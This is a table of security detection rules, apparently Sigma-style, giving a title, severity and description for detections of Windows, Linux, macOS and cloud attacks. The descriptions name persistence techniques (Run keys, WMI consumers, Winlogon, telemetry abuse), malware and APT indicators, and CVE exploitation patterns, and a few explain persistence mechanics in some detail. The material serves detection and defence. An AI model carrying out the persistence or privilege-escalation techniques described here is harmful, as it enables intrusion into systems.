Registry Persistence via Explorer Run Key	high	Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder
New RUN Key Pointing to Suspicious Folder	high	Detects suspicious new RUN key element pointing to an executable in a suspicious folder
Modify User Shell Folders Startup Value	high	Detect modification of the startup key to a path where a payload could be stored to be launched during startup
Scheduled TaskCache Change by Uncommon Program	high	Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious
Potential Registry Persistence Attempt Via Windows Telemetry	high	Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.
RDP Sensitive Settings Changed to Zero	medium	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.
RDP Sensitive Settings Changed	high	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc
New TimeProviders Registered With Uncommon DLL Name	high	Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.
COM Hijacking via TreatAs	medium	Detect modification of TreatAs key to enable "rundll32.exe -sta" command
VBScript Payload Stored in Registry	high	Detects VBScript content stored into registry keys as seen being used by UNC2452 group
Winget Admin Settings Modification	low	Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks
Enable Local Manifest Installation With Winget	medium	Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.
Winlogon Notify Key Logon Persistence	high	Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.
Winlogon AllowMultipleTSSessions Enable	medium	Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users
WMI Event Subscription	medium	Detects creation of WMI event subscription persistence method
Suspicious Encoded Scripts in a WMI Consumer	high	Detects suspicious encoded payloads in WMI Event Consumers
CosmicDuke Service Installation	critical	Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence.
StoneDrill Service Install	high	This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky
Turla Service Install	high	This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET
Turla PNG Dropper Service	critical	This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018
Oracle WebLogic Exploit	critical	Detects access to a webshell dropped into a keystore folder on the WebLogic server
OilRig APT Activity	critical	Detects OilRig activity as reported by Nyotron in their March 2018 report
OilRig APT Registry Persistence	critical	Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - Security	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - System	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
Defrag Deactivation	medium	Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group
Defrag Deactivation - Security	medium	Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group
Potential Ryuk Ransomware Activity	high	Detects Ryuk ransomware activity
Suspicious PrinterPorts Creation (CVE-2020-1048)	high	Detects new commands that add new printer port which point to suspicious file
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry	high	Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.
FlowCloud Registry Markers	critical	Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components.
Leviathan Registry Key Activity	critical	Detects registry key used by Leviathan APT in Malaysian focused campaign
Solarwinds SUPERNOVA Webshell Access	critical	Detects access to SUPERNOVA webshell as described in Guidepoint report
Suspicious VBScript UN2452 Pattern	high	Detects suspicious inline VBScript keywords as used by UNC2452
Serv-U Exploitation CVE-2021-35211 by DEV-0322	critical	Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322
CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit	critical	Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).
Suspicious Computer Account Name Change CVE-2021-42287	high	Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287
Goofy Guineapig Backdoor Service Creation	critical	Detects service creation persistence used by the Goofy Guineapig backdoor
Moriya Rootkit File Created	critical	Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.
Pingback Backdoor File Indicators	high	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
Pingback Backdoor DLL Loading Activity	high	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
Pingback Backdoor Activity	high	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
Small Sieve Malware CommandLine Indicator	high	Detects specific command line argument being passed to a binary as seen being used by the malware Small Sieve.
Small Sieve Malware Registry Persistence	high	Detects registry value with specific intentional typo and strings seen used by the Small Sieve malware
HAFNIUM Exchange Exploitation Activity	critical	Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers
SOURGUM Actor Behaviours	high	Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM
DEWMODE Webshell Access	high	Detects access to DEWMODE webshell as described in FIREEYE report
MSSQL Extended Stored Procedure Backdoor Maggie	high	This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server
ChromeLoader Malware Execution	high	Detects execution of ChromeLoader malware via a registered scheduled task
Serpent Backdoor Payload Execution Via Scheduled Task	high	Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.
Potential ACTINIUM Persistence Activity	high	Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.
Outlook Task/Note Reminder Received	low	Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.
Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader	high	Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.
MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request	high	Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362
Potential CVE-2023-36884 Exploitation Dropped File	medium	Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884
Potential COLDSTEEL RAT File Indicators	high	Detects the creation of a file named "dllhost.exe" in the "C:\users\public\Documents\" directory. Seen being used by the COLDSTEEL RAT in some of its variants.
Potential COLDSTEEL Persistence Service DLL Creation	high	Detects the creation of a file in a specific location and with a specific name related to COLDSTEEL RAT
Potential COLDSTEEL Persistence Service DLL Load	high	Detects a suspicious DLL load by an "svchost" process based on location and name that might be related to ColdSteel RAT. This DLL location and name has been seen used by ColdSteel as the service DLL for its persistence mechanism
COLDSTEEL RAT Anonymous User Process Execution	high	Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL
COLDSTEEL RAT Cleanup Command Execution	critical	Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples
COLDSTEEL RAT Service Persistence Execution	critical	Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT
Potential COLDSTEEL RAT Windows User Creation	high	Detects creation of a new user profile with a specific username, seen being used by some variants of the COLDSTEEL RAT.
COLDSTEEL Persistence Service Creation	high	Detects the creation of new services potentially related to COLDSTEEL RAT
DarkGate - User Created Via Net.EXE	high	Detects creation of local users via the net.exe command with the name of "DarkGate"
SNAKE Malware Covert Store Registry Key	high	Detects any registry event that targets the key 'SECURITY\Policy\Secrets\n' which is a key related to SNAKE malware as described by CISA
Potential Encrypted Registry Blob Related To SNAKE Malware	medium	Detects the creation of a registry value in the ".wav\OpenWithProgIds" key with an uncommon name. This could be related to SNAKE Malware as reported by CISA
SNAKE Malware Service Persistence	critical	Detects the creation of a service named "WerFaultSvc" which seems to be used by the SNAKE malware as a persistence mechanism as described by CISA in their report
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor	high	Hunts for known SVR-specific scheduled task names
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler	high	Hunts for known SVR-specific scheduled task names
Diamond Sleet APT Scheduled Task Creation	critical	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability
UNC4841 - Email Exfiltration File Pattern	high	Detects filename pattern of email related data used by UNC4841 for staging and exfiltration
UNC4841 - Barracuda ESG Exploitation Indicators	high	Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation	medium	This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708.
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security	critical	This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.
ScreenConnect User Database Modification	medium	Detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions.
CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation	critical	Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection	high	Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.
Potential KamiKakaBot Activity - Shutdown Schedule Task Creation	medium	Detects the creation of a schedule task that runs weekly and execute the "shutdown /l /f" command. This behavior was observed being used by KamiKakaBot samples in order to achieve persistence on a system.
Potential KamiKakaBot Activity - Winlogon Shell Persistence	high	Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence.
Kapeka Backdoor Persistence Activity	high	Detects Kapeka backdoor persistence activity. Depending on the process privileges, the Kapeka dropper then sets persistence for the backdoor either as a scheduled task (if admin or SYSTEM) or autorun registry (if not). For the scheduled task, it creates a scheduled task called "Sens Api" via schtasks command, which is set to run upon system startup as SYSTEM. To establish persistence through the autorun utility, it adds an autorun entry called "Sens Api" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run via the "reg add" command. Both persistence mechanisms are set to launch the binary by calling rundll32 and passing the backdoor's first export ordinal (#1) without any additional argument.
Kapeka Backdoor Autorun Persistence	high	Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.
Kapeka Backdoor Configuration Persistence	medium	Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers\" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.
Kapeka Backdoor Scheduled Task Creation	high	Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.
Forest Blizzard APT - Custom Protocol Handler Creation	high	Detects the setting of a custom protocol handler with the name "rogue". Seen being created by Forest Blizzard APT as reported by MSFT.
Forest Blizzard APT - Custom Protocol Handler DLL Registry Set	high	Detects the setting of the DLL that handles the custom protocol handler. Seen being created by Forest Blizzard APT as reported by MSFT.
Authentication Occuring Outside Normal Business Hours	low	Detects user signs ins outside of normal business hours.
Privilege Role Sign-In Outside Of Normal Hours	high	Detects account sign ins outside of normal hours or uncommon locations. Administrator accounts should be investigated
Potential Remote WMI ActiveScriptEventConsumers Activity	medium	Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity.
Scheduled Task Created - FileCreation	low	Detects the creation of a scheduled task via file creation.
Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location	low	Detects the loading of the "taskschd.dll" module from a process that located in a potentially suspicious or uncommon directory. The loading of this DLL might indicate that the application have the capability to create a scheduled task via the "Schedule.Service" COM object. Investigation of the loading application and its behavior is required to determining if its malicious.
Remote Access Tool - Ammy Admin Agent Execution	medium	Detects the execution of the Ammy Admin RMM agent for remote management.
Remote Access Tool - Cmd.EXE Execution via AnyViewer	medium	Detects execution of "cmd.exe" via the AnyViewer RMM agent on a remote management sessions.
Execution From Webserver Root Folder	medium	Detects a program executing from a web server root folder. Use this rule to hunt for potential interesting activity such as webshell or backdoors
Scheduled Task Created - Registry	low	Detects the creation of a scheduled task via Registry keys.
Shell Context Menu Command Tampering	low	Detects changes to shell context menu commands. Use this rule to hunt for potential anomalies and suspicious shell commands.
Silence.Downloader V3	high	Detects Silence downloader. These commands are hardcoded into the binary.
Files Dropped to Program Files by Non-Priviledged Process	medium	Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes
Malicious Service Installations	critical	Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.
Remote Schtasks Creation	medium	Detects remote execution via scheduled task creation or update on the destination host
Rare Schtasks Creations	low	Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code
Failed Logins with Different Accounts from Single Source System	medium	Detects suspicious failed logins with different user accounts from a single source system
Failed NTLM Logins with Different Accounts from Single Source System	medium	Detects suspicious failed logins with different user accounts from a single source system
Rare Service Installations	low	Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services
Rare Scheduled Task Creations	low	This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.

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Title	Level	Description
App Permissions Granted For Other APIs	medium	Detects when app permissions (app roles) for other APIs are granted
OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
User Added To Admin Group - MacOS	medium	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.
Usage Of Malicious POORTRY Signed Driver	high	Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.
Vulnerable AVAST Anti Rootkit Driver Load	high	Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products
Vulnerable Dell BIOS Update Driver Load	high	Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551
Vulnerable Driver Load By Name	low	Detects the load of known vulnerable drivers via their names only.
Vulnerable GIGABYTE Driver Load	high	Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation
Vulnerable HW Driver Load	high	Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation
Vulnerable Lenovo Driver Load	high	Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges
SCM DLL Sideload	medium	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system
PrintNightmare Powershell Exploitation	high	Detects Commandlet name for PrintNightmare exploitation.
Suspicious In-Memory Module Execution	low	Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display "UNKNOWN" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious.
Hurricane Panda Activity	high	Detects Hurricane Panda Activity
New Service Creation	low	Detects creation of a new service.
Run Whoami as SYSTEM	high	Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.
Kubernetes CronJob/Job Modification	medium	Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.
Kubernetes Rolebinding Modification	medium	Detects when a Kubernetes Rolebinding is created or modified.
Kubernetes Unauthorized or Unauthenticated Access	low	Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used. This may indicate an attacker attempting to leverage credentials they have obtained.
Suspicious SQL Query	medium	Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields
AWS Attached Malicious Lambda Layer	medium	Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.
Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure	high	Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.
Potential Malicious Usage of CloudTrail System Manager	high	Detect when System Manager successfully executes commands against an instance.
AWS SAML Provider Deletion Activity	medium	Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.
AWS Key Pair Import Activity	medium	Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.
New AWS Lambda Function URL Configuration Created	medium	Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.
AWS Glue Development Endpoint Activity	low	Detects possible suspicious glue development endpoint activity.
AWS Root Credentials	medium	Detects AWS root account usage
AWS STS AssumeRole Misuse	low	Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.
AWS STS GetSessionToken Misuse	low	Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.
AWS Suspicious SAML Activity	medium	Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.
User Added to an Administrator's Azure AD Role	medium	User Added to an Administrator's Azure AD Role
Azure Kubernetes CronJob	medium	Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Certificate-Based Authentication Enabled	medium	Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.
Changes to Device Registration Policy	high	Monitor and alert for changes to the device registration policy.
New Root Certificate Authority Added	medium	Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.
Users Added to Global or Device Admin Roles	high	Monitor and alert for users added to device admin roles.
Application AppID Uri Configuration Changes	high	Detects when a configuration change is made to an applications AppID URI.
App Granted Privileged Delegated Or App Permissions	high	Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions
App Assigned To Azure RBAC/Microsoft Entra Role	medium	Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.
Application URI Configuration Changes	high	Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.
User State Changed From Guest To Member	medium	Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.
PIM Approvals And Deny Elevation	high	Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.
PIM Alert Setting Changes To Disabled	high	Detects when PIM alerts are set to disabled.
Changes To PIM Settings	high	Detects when changes are made to PIM roles
User Added To Privilege Role	high	Detects when a user is added to a privileged role.
Privileged Account Creation	medium	Detects when a new admin is created.
Activity From Anonymous IP Address	high	Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.
Atypical Travel	high	Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.
Impossible Travel	high	Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.
Suspicious Browser Activity	high	Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser
Azure AD Threat Intelligence	high	Indicates user activity that is unusual for the user or consistent with known attack patterns.
New Country	high	Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
Unfamiliar Sign-In Properties	high	Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.
Stale Accounts In A Privileged Role	high	Identifies when an account hasn't signed in during the past n number of days.
Invalid PIM License	high	Identifies when an organization doesn't have the proper license for PIM and is out of compliance.
Roles Assigned Outside PIM	high	Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.
Roles Activation Doesn't Require MFA	high	Identifies when a privilege role can be activated without performing mfa.
Roles Activated Too Frequently	high	Identifies when the same privilege role has multiple activations by the same user.
Roles Are Not Being Used	high	Identifies when a user has been assigned a privilege role and are not using that role.
Too Many Global Admins	high	Identifies an event where there are there are too many accounts assigned the Global Administrator role.
Application Using Device Code Authentication Flow	medium	Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.
Applications That Are Using ROPC Authentication Flow	medium	Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.
Bitbucket Global Permission Changed	medium	Detects global permissions change activity.
GCP Access Policy Deleted	medium	Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.
Google Cloud Kubernetes CronJob	medium	Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Google Workspace Application Access Level Modified	medium	Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.
Github New Secret Created	low	Detects when a user creates action secret for the organization, environment, codespaces or repository.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Github SSH Certificate Configuration Changed	medium	Detects when changes are made to the SSH certificate configuration of the organization.
Linux Capabilities Discovery	low	Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.
Possible Coin Miner CPU Priority Param	critical	Detects command line parameter very often used with coin miners
Loading of Kernel Module via Insmod	high	Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.
Buffer Overflow Attempts	high	Detects buffer overflow attempts in Unix system log files
Code Injection by ld.so Preload	high	Detects the ld.so preload persistence file. See `man ld.so` for more information.
Nimbuspwn Exploitation	high	Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)
PwnKit Local Privilege Escalation	high	Detects potential PwnKit exploitation CVE-2021-4034 in auth logs
Sudo Privilege Escalation CVE-2019-14287 - Builtin	critical	Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287
Linux Doas Conf File Creation	medium	Detects the creation of doas.conf file in linux host platform.
Linux Doas Tool Execution	low	Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
OMIGOD SCX RunAsProvider ExecuteShellCommand	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Scheduled Cron Task/Job - Linux	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
Sudo Privilege Escalation CVE-2019-14287	high	Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287
Triple Cross eBPF Rootkit Execve Hijack	high	Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges
User Added To Root/Sudoers Group Using Usermod	medium	Detects usage of the "usermod" binary to add users add users to the root or suoders groups
MacOS Emond Launch Daemon	medium	Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.
Startup Item File Created - MacOS	low	Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
User Added To Admin Group Via Dscl	medium	Detects attempts to create and add an account to the admin group via "dscl"
User Added To Admin Group Via DseditGroup	medium	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.
Scheduled Cron Task/Job - MacOs	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
User Added To Admin Group Via Sysadminctl	medium	Detects attempts to create and add an account to the admin group via "sysadminctl"
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
OMIGOD HTTP No Authentication RCE	high	Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked	high	Detects block events for files that are disallowed by code integrity for protected processes
CodeIntegrity - Blocked Image/Driver Load For Policy Violation	high	Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.
CodeIntegrity - Blocked Driver Load With Revoked Certificate	high	Detects blocked load attempts of revoked drivers
CodeIntegrity - Revoked Kernel Driver Loaded	high	Detects the load of a revoked kernel driver
CodeIntegrity - Blocked Image Load With Revoked Certificate	high	Detects blocked image load events with revoked certificates by code integrity.
CodeIntegrity - Revoked Image Loaded	high	Detects image load events with revoked certificates by code integrity.
CodeIntegrity - Unsigned Kernel Module Loaded	high	Detects the presence of a loaded unsigned kernel module on the system.
CodeIntegrity - Unsigned Image Loaded	high	Detects loaded unsigned image on the system
CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module	high	Detects loaded kernel modules that did not meet the WHQL signing requirements.
Standard User In High Privileged Group	medium	Detect standard users login that are part of high privileged groups such as the Administrator group
ADCS Certificate Template Configuration Vulnerability	low	Detects certificate creation with template allowing risk permission subject
ADCS Certificate Template Configuration Vulnerability with Risky EKU	high	Detects certificate creation with template allowing risk permission subject and risky EKU
CobaltStrike Service Installations - Security	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
HackTool - NoFilter Execution	high	Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators
